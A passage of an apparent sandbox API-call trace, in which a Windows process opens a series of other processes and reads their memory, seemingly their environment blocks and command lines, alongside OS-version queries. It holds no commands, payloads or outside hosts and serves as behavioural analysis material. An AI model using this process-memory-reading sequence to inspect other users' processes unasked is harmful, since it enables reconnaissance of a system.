ReturnLength=0x0) returned 0x0 [0312.730] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3b1018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.730] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.731] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422560, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.731] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422228, lpBuffer=0x5ec5a0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.731] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.731] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.731] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3b1020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.731] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x421be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.732] malloc (_Size=0x18) returned 0xec9c40 [0312.732] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422266, lpBuffer=0xec9c40, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9c40*, lpNumberOfBytesRead=0x0) returned 1 [0312.732] free (_Block=0xec9c40) [0312.732] CloseHandle (hObject=0xa9c) returned 1 [0312.810] _ui64tow_s (in: _Value=0x8f0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2288") returned 0x0 [0312.810] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2288") returned 4 [0312.810] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0xcc877a17, dwBuildNumber=0x7fff, dwPlatformId=0x15aacc0, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.810] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.811] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8f0) returned 0xa9c [0312.811] GetLastError () returned 0x0 [0312.811] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.812] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c8018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.812] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.812] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403de0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.812] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.812] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.812] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.812] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c8020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.813] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.813] malloc (_Size=0x6a) returned 0xea9620 [0312.813] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a78, lpBuffer=0xea9620, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9620*, lpNumberOfBytesRead=0x0) returned 1 [0312.813] free (_Block=0xea9620) [0312.814] CloseHandle (hObject=0xa9c) returned 1 [0312.814] _ui64tow_s (in: _Value=0x944, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2372") returned 0x0 [0312.814] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2372") returned 4 [0312.814] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.814] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.815] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x944) returned 0xa9c [0312.816] GetLastError () returned 0x0 [0312.816] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.816] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x228018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.816] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.816] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5225e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.816] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522228, lpBuffer=0x5ec5a0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.817] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.817] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.817] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x228020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.817] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.817] malloc (_Size=0x6c) returned 0xea9720 [0312.817] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x52226c, lpBuffer=0xea9720, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9720*, lpNumberOfBytesRead=0x0) returned 1 [0312.818] free (_Block=0xea9720) [0312.818] CloseHandle (hObject=0xa9c) returned 1 [0312.818] _ui64tow_s (in: _Value=0xa64, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2660") returned 0x0 [0312.819] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2660") returned 4 [0312.819] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.819] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.820] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa64) returned 0xa9c [0312.820] GetLastError () returned 0x0 [0312.820] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.820] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.821] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.821] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5525c0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.821] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552248, lpBuffer=0x5ec5a0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.821] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.822] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.822] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.822] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551c00, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.823] malloc (_Size=0x32) returned 0xe728f0 [0312.823] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552278, lpBuffer=0xe728f0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe728f0*, lpNumberOfBytesRead=0x0) returned 1 [0312.823] free (_Block=0xe728f0) [0312.824] CloseHandle (hObject=0xa9c) returned 1 [0312.824] _ui64tow_s (in: _Value=0xad8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2776") returned 0x0 [0312.824] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2776") returned 4 [0312.824] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.825] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.826] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xad8) returned 0xa9c [0312.826] GetLastError () returned 0x0 [0312.826] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.826] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x341018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.826] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.826] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403de0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.827] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.827] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.827] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.827] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x341020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.827] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.828] malloc (_Size=0x72) returned 0xea9620 [0312.828] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a78, lpBuffer=0xea9620, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9620*, lpNumberOfBytesRead=0x0) returned 1 [0312.828] free (_Block=0xea9620) [0312.829] CloseHandle (hObject=0xa9c) returned 1 [0312.829] _ui64tow_s (in: _Value=0x924, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2340") returned 0x0 [0312.829] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2340") returned 4 [0312.829] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.829] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.831] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x924) returned 0xa9c [0312.831] GetLastError () returned 0x0 [0312.831] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.831] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x284018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.831] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.831] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4724e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.831] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.831] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.832] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.832] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x284020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.832] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.832] malloc (_Size=0x76) returned 0xea9820 [0312.832] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472164, lpBuffer=0xea9820, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9820*, lpNumberOfBytesRead=0x0) returned 1 [0312.832] free (_Block=0xea9820) [0312.833] CloseHandle (hObject=0xa9c) returned 1 [0312.833] _ui64tow_s (in: _Value=0xbbc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3004") returned 0x0 [0312.833] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3004") returned 4 [0312.833] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.833] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.835] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbbc) returned 0xa9c [0312.835] GetLastError () returned 0x0 [0312.835] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.835] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1075018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.835] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.835] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x14041e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.835] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403c76, lpBuffer=0x5ec5a0, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.836] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.836] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.836] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1075020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.836] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403590, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.837] malloc (_Size=0x14c) returned 0xefada0 [0312.837] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403d4a, lpBuffer=0xefada0, nSize=0x14a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xefada0*, lpNumberOfBytesRead=0x0) returned 1 [0312.837] free (_Block=0xefada0) [0312.838] CloseHandle (hObject=0xa9c) returned 1 [0312.838] _ui64tow_s (in: _Value=0xc1c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3100") returned 0x0 [0312.839] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3100") returned 4 [0312.839] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.839] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.840] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc1c) returned 0xa9c [0312.840] GetLastError () returned 0x0 [0312.840] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.840] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.841] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.841] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.841] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.841] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.842] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.842] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.842] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.842] malloc (_Size=0x64) returned 0xeb65b0 [0312.842] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb65b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0312.843] free (_Block=0xeb65b0) [0312.843] CloseHandle (hObject=0xa9c) returned 1 [0312.843] _ui64tow_s (in: _Value=0xca4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3236") returned 0x0 [0312.844] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3236") returned 4 [0312.844] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.844] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.845] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xca4) returned 0xa9c [0312.845] GetLastError () returned 0x0 [0312.845] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.845] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7c9018, 